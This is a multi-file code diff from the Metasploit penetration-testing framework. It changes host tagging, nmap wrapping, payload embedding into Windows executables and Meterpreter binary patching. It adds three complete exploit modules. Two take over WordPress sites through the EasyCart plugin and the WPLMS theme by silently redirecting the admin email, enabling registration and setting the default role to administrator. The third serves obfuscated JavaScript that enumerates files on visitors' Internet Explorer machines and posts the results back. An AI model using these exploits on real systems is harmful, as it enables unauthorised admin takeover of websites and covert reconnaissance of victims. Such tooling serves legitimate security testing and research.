if rws == [nil]
print_error("In order to add a tag, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
wspace = framework.db.workspace
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
tag.save! if tag.changed?
end
end
end
end
def delete_host_tag(rws, tag_name)
wspace = framework.db.workspace
tag_ids = []
if rws == [nil]
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
else
rws.each do |rw|
rw.each do |ip|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
end
end
end
tag_ids.each do |id|
tag = Mdm::Tag.find_by_id(id)
tag.hosts.delete
tag.destroy
end
end
def cmd_hosts(*args)
return unless active?
::ActiveRecord::Base.connection_pool.with_connection {
onlyup = false
set_rhosts = false
mode = :search
mode = []
delete_count = 0
rhosts = []
@ -263,7 +325,8 @@ class Db
output = nil
default_columns = ::Mdm::Host.column_names.sort
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
@ -271,9 +334,9 @@ class Db
while (arg = args.shift)
case arg
when '-a','--add'
mode = :add
mode << :add
when '-d','--delete'
mode = :delete
mode << :delete
when '-c'
list = args.shift
if(!list)
@ -297,14 +360,17 @@ class Db
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '-i', '--info'
mode = :new_info
mode << :new_info
info_data = args.shift
when '-n', '--name'
mode = :new_name
mode << :new_name
name_data = args.shift
when '-m', '--comment'
mode = :new_comment
mode << :new_comment
comment_data = args.shift
when '-t', '--tag'
mode << :tag
tag_name = args.shift
when '-h','--help'
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
print_line
@ -320,6 +386,7 @@ class Db
print_line " -i,--info Change the info of a host"
print_line " -n,--name Change the name of a host"
print_line " -m,--comment Change the comment of a host"
print_line " -t,--tag Add or specify a tag to a range of hosts"
print_line
print_line "Available columns: #{default_columns.join(", ")}"
print_line
@ -338,7 +405,9 @@ class Db
col_names = default_columns + virtual_columns
end
if mode == :add
mode << :search if mode.empty?
if mode == [:add]
host_ranges.each do |range|
range.each do |address|
host = framework.db.find_or_create_host(:host => address)
@ -358,23 +427,41 @@ class Db
# Sentinal value meaning all
host_ranges.push(nil) if host_ranges.empty?
case mode
when :new_info
case
when mode == [:new_info]
change_host_info(host_ranges, info_data)
return
when :new_name
when mode == [:new_name]
change_host_name(host_ranges, name_data)
return
when :new_comment
when mode == [:new_comment]
change_host_comment(host_ranges, comment_data)
return
when mode == [:tag]
begin
add_host_tag(host_ranges, tag_name)
rescue ::Exception => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
return
end
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
if search_term
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
)
end
columns = col_names.map do |n|
# Deal with the special cases
if virtual_columns.include?(n)
@ -382,6 +469,11 @@ class Db
when "svcs"; host.services.length
when "vulns"; host.vulns.length
when "workspace"; host.workspace.name
when "tags"
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
end
# Otherwise, it's just an attribute
else
@ -394,7 +486,7 @@ class Db
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
if mode == :delete
if mode == [:delete]
host.destroy
delete_count += 1
end
@ -1647,11 +1739,18 @@ class Db
print_status("Usage: db_nmap [nmap options]")
return
end
save = false
if args.include?("save")
save = active?
args.delete("save")
arguments = []
while (arg = args.shift)
case arg
when 'save'
save = active?
when '--help', '-h'
cmd_db_nmap_help
return
else
arguments << arg
end
end
nmap =
@ -1674,15 +1773,15 @@ class Db
# Custom function needed because cygpath breaks on 8.3 dirs
tout = Rex::Compat.cygwin_to_win32(fd.path)
fout = Rex::Compat.cygwin_to_win32(fo.path)
args.push('-oX', tout)
args.push('-oN', fout)
arguments.push('-oX', tout)
arguments.push('-oN', fout)
else
args.push('-oX', fd.path)
args.push('-oN', fo.path)
arguments.push('-oX', fd.path)
arguments.push('-oN', fo.path)
end
begin
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out|
@ -1715,6 +1814,45 @@ class Db
}
end
def cmd_db_nmap_help
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
stdout.each_line do |out_line|
next if out_line.strip.empty?
print_status(out_line.strip)
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
end
def cmd_db_nmap_tabs(str, words)
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = []
stdout.each_line do |out_line|
if out_line.strip.starts_with?('-')
tabs.push(out_line.strip.split(':').first)
end
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
tabs
end
#
# Store some locally-generated data as a file, similiar to store_loot.
#

View File

@ -235,7 +235,8 @@ class Driver < Msf::Ui::Driver
# Process any resource scripts
if opts['Resource'].blank?
# None given, load the default
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
load_resource(default_resource) if ::File.exists?(default_resource)
else
opts['Resource'].each { |r|
load_resource(r)
@ -420,7 +421,7 @@ class Driver < Msf::Ui::Driver
if path == '-'
resource_file = $stdin.read
path = 'stdin'
elsif ::File.readable?(path)
elsif ::File.exists?(path)
resource_file = ::File.read(path)
else
print_error("Cannot find resource script: #{path}")

View File

@ -18,6 +18,7 @@ require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
require 'msf/core/exe/segment_appender'
##
#
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
end
p_length = payload.length + 256
# If the .text section is too small, append a new section instead
if text.size < p_length
fname = ::File.basename(opts[:template])
msg = "The .text section for '#{fname}' is too small. "
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
"#{text.size.to_s} bytes"
raise RuntimeError, msg
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
return appender.generate_pe
end
# Store some useful offsets
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
})
return injector.generate_pe
end
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
return exe_sub_method(code,opts)
#
# TODO: 64-bit support is currently failing to stage
#
# Append a new section instead
# appender = Msf::Exe::SegmentAppender.new({
# :payload => code,
# :template => opts[:template],
# :arch => :x64
# })
# return appender.generate_pe
end
# Embeds shellcode within a Windows PE file implementing the Windows

View File

@ -46,7 +46,7 @@ class Egghunter
startreg = opts[:startreg]
searchforward = opts[:searchforward]
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)

View File

@ -141,9 +141,9 @@ module Rex
def report_web_page(&block)
return unless(in_issue && has_text)
return unless @state[:web_site]
return unless @state[:response_headers]
return unless @state[:uri]
return unless @state[:web_site].present?
return unless @state[:response_headers].present?
return unless @state[:uri].present?
web_page_info = {}
web_page_info[:web_site] = @state[:web_site]
web_page_info[:path] = @state[:uri].path
@ -187,31 +187,21 @@ module Rex
def record_request_and_response
return unless(in_issue && has_text)
return unless @state[:web_site]
return unless @state[:web_site].present?
really_original_traffic = unindent_and_crlf(@text)
split_traffic = really_original_traffic.split(/\r\n\r\n/)
request_headers_text = split_traffic.first
content_length = 0
if request_headers_text =~ /\ncontent-length:\s+([0-9]+)/mni
content_length = $1.to_i
end
if(content_length > 0) and (split_traffic[1].to_s.size >= content_length)
request_body_text = split_traffic[1].to_s[0,content_length]
else
request_body_text = nil
end
response_headers_text = split_traffic[1].to_s[content_length,split_traffic[1].to_s.size].lstrip
request = request_headers_text
return unless(request && response_headers_text)
response_body_text = split_traffic[2]
request_headers, request_body, response_headers, response_body = really_original_traffic.split(/\r\n\r\n/)
return unless(request_headers && response_headers)
req_header = Rex::Proto::Http::Packet::Header.new
res_header = Rex::Proto::Http::Packet::Header.new
req_header.from_s request_headers_text.dup
res_header.from_s response_headers_text.dup
req_header.from_s request_headers.lstrip
res_header.from_s response_headers.lstrip
if response_body.blank?
response_body = ''
end
@state[:request_headers] = req_header
@state[:request_body] = request_body_text
@state[:request_body] = request_body.lstrip
@state[:response_headers] = res_header
@state[:response_body] = response_body_text
@state[:response_body] = response_body.lstrip
end
# Appscan tab-indents which makes parsing a little difficult. They

View File

@ -56,6 +56,36 @@ class X509Certificate
parse_pem(data)
end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end
end

View File

@ -11,29 +11,23 @@ module Rex
module Patch
# Replace the transport string
def self.patch_transport! blob, ssl
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
# Replace the URL
def self.patch_url! blob, url
i = blob.index("https://" + ("X" * 256))
if i
str = url
blob[i, str.length] = str
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
patch_string!(blob, "https://#{'X' * 256}", url)
end
end
# Replace the session expiration timeout
def self.patch_expiration! blob, expiration
def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V"))
if i
@ -44,7 +38,7 @@ module Rex
end
# Replace the session communication timeout
def self.patch_comm_timeout! blob, comm_timeout
def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V"))
if i
@ -55,68 +49,67 @@ module Rex
end
# Replace the user agent string with our option
def self.patch_ua! blob, ua
ua = ua[0,255] + "\x00"
i = blob.index("METERPRETER_UA\x00")
if i
blob[i, ua.length] = ua
end
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
# Activate a custom proxy
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if i
if proxyhost
if proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo
end
if proxyhost && proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end
end
# Proxy authentification
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
unless (proxy_username.nil? or proxy_username.empty?) or
(proxy_password.nil? or proxy_password.empty?) or
proxy_type == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = proxy_username << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username + "\x00")
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_password = proxy_password << "\x00"
blob[proxy_password_loc, proxy_password.length] = proxy_password
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password + "\x00")
end
end
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service! blob, options
# Patch the ssl cert hash
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
patch_transport! blob, options[:ssl]
patch_url! blob, options[:url]
patch_expiration! blob, options[:expiration]
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service!(blob, options)
patch_transport!(blob, options[:ssl])
patch_url!(blob, options[:url])
patch_expiration!(blob, options[:expiration])
patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_proxy!(blob,
options[:proxy_host],
options[:proxy_port],
@ -130,6 +123,36 @@ module Rex
end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end
end
end

View File

@ -48,7 +48,14 @@ class ClientCore < Extension
request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name)
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response?
if response.nil?

View File

@ -178,7 +178,6 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval.
#
def send_request(packet, t = self.response_timeout)
if not t
send_packet(packet)
return nil

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
'Description' => %q{
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
users of any user level to set any system option via a lack of validation in the
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
to prevent any notifications being sent to the actual administrator during the attack,
re-enables user registration in case it has been disabled and sets the default role to
be administrator. This will allow for the user to create a new account with admin
privileges via the default registration page found at /wp-login.php?action=register.
},
'Author' =>
[
'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-2673'],
['WPVDB', '7808'],
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
],
'DisclosureDate' => 'Feb 25 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def set_wp_option(name, value, cookie)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'ec_ajax_update_option' },
'vars_post' => { 'option_name' => name, 'option_value' => value },
'cookie' => cookie
)
if res.nil?
vprint_error("#{peer} - No response from the target.")
elsif res.code != 200
vprint_warning("#{peer} - Server responded with status code #{res.code}")
end
res
end
def run
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
if cookie.nil?
print_error("#{peer} - Failed to authenticate with WordPress")
return
end
print_good("#{peer} - Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
print_error("#{peer} - Failed to change the admin e-mail address")
return
end
print_status("#{peer} - Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
print_error("#{peer} - Failed to enable user registrations")
return
end
print_status("#{peer} - Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
print_error("#{peer} - Failed to set the default user role")
return
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("#{peer} - Privilege escalation complete")
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -0,0 +1,124 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
any user level to set any system option via a lack of validation in the import_data function
of /includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the attack, re-enables user
registration in case it has been disabled and sets the default role to be administrator.
This will allow for the user to create a new account with admin privileges via the default
registration page found at /wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7785']
],
'DisclosureDate' => 'Feb 09 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Fixnum
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
unless serialized_value.nil?
Rex::Text.encode_base64(serialized_value)
end
end
def set_wp_option(name, value, cookie)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
vprint_error("#{peer} - Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
)
if res.nil?
vprint_error("#{peer} - No response from the target.")
else
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
end
return res
end
end
def run
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("#{peer} - Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("#{peer} - Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("#{peer} - Privilege escalation complete")
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -0,0 +1,221 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/jsobfu'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure",
'Description' => %q{
This module will use the Microsoft XMLDOM object to enumerate a remote user's filenames.
It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you
must supply your own list of file paths. Each file's format should look like this:
c:\\\\windows\\\\system32\\\\calc.exe
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC
'sinn3r'
],
'References' =>
[
[ 'CVE', '2013-7331'],
[ 'MSB', 'MS14-052' ],
[ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ],
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 8 / Internet Explorer 9', {} ],
],
'DisclosureDate' => "Sep 9 2014", # MSB. Used in the wild since Feb 2014
'DefaultTarget' => 0))
register_options(
[
OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ])
], self.class
)
end
def js
target_files = parse_target_files
js_target_files = target_files * ','
%Q|
#{js_ajax_post}
var RESULTS = {
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
};
function validateXML(txt) {
var result = RESULTS.UNKNOWN;
if (window.ActiveXObject) {
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async = true;
try {
xmlDoc.loadXML(txt);
if (xmlDoc.parseError.errorCode != 0) {
var err;
err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
err += "Error Reason: " + xmlDoc.parseError.reason;
err += "Error Line: " + xmlDoc.parseError.line;
var errReason = xmlDoc.parseError.reason.toLowerCase();
if (errReason.search('access is denied') >= 0) {
result = RESULTS.ALIVE;
} else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
result = RESULTS.NOTFOUND;
} else if(errReason!=''){
result = RESULTS.FILEFOUND;
} else{
result = RESULTS.UNKNOWN; // No Error? Unknown!
};
} else {
result = RESULTS.FILEFOUND;
}
} catch (e) {
result = RESULTS.FOLDERFOUND;
}
} else {
result = RESULTS.BADBROWSER;
}
result.data = "";
return result;
};
function checkFiles(files) {
var foundFiles = new Array();
// the first one is for all drives, the others are for the C drive only!
var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"];
// or any other irrelevant ADS! - we do not need this when we use Res://
var postMagics = ["::$index_allocation"];
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
for (var i = 0; i < files.length; i++) {
var filename = files[i];
if (filename != '') {
filename = preMagics[0] + filename; // postMagics can be used too!
var result = validateXML(templateString.replace("$target$", filename));
if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN;
result.data = filename;
if (result.message.search(/file was found/i) > -1) {
var trimmedFilename = result.data;
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
foundFiles.push(trimmedFilename);
}
}
}
return foundFiles;
};
var foundFileString = "";
window.onload = function() {
var files = [#{js_target_files}];
var foundFiles = checkFiles(files);
for (var file in foundFiles) {
foundFileString += foundFiles[file] + "\|";
}
postInfo("#{get_resource}/receiver/", foundFileString, true);
};
|
end
def html
new_js = js_obfuscate(js)
%Q|
<html>
<head>
</head>
<body>
<script>
#{new_js}
</script>
</body>
</html>
|
end
def run
exploit
end
def parse_found_files(cli, req)
return if req.body.blank?
files = req.body.split('|')
unless files.empty?
print_good("We have detected the following files:")
files.each do |f|
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
print_good(f)
end
end
end
def parse_target_files
@files ||= lambda {
files = []
buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read }
buf.each_line do |line|
if line =~ /^[a-z]:\\\\.+/i
files << "'#{line.strip}'"
end
end
return files
}.call
end
def is_target_suitable?(user_agent)
info = fingerprint_user_agent(user_agent)
if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0')
return true
end
false
end
def on_request_uri(cli, req)
unless is_target_suitable?(req.headers['User-Agent'])
send_not_found(cli)
return
end
case req.uri
when /receiver/
parse_found_files(cli, req)
else
print_status("Sending HTML.")
send_response(cli, html)
end
end
end

View File

@ -15,10 +15,14 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'GitLab Login Utility',
'Description' => 'This module attempts to login to a GitLab instance using a specific user/pass.',
'Author' => [ 'Ben Campbell' ],
'License' => MSF_LICENSE
'Name' => 'GitLab Login Utility',
'Description' => 'This module attempts to login to a GitLab instance using a specific user/pass.',
'Author' => [ 'Ben Campbell' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://labs.mwrinfosecurity.com/blog/2015/03/20/gitlab-user-enumeration/']
]
)
register_options(

View File

@ -15,17 +15,21 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(
info,
'Name' => 'GitLab User Enumeration',
'Description' => "
'Name' => 'GitLab User Enumeration',
'Description' => "
The GitLab 'internal' API is exposed unauthenticated on GitLab. This
allows the username for each SSH Key ID number to be retrieved. Users
who do not have an SSH Key cannot be enumerated in this fashion. LDAP
users, e.g. Active Directory users will also be returned. This issue
was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0.
",
'Author' => 'Ben Campbell',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 21 2014'
'Author' => 'Ben Campbell',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 21 2014',
'References' =>
[
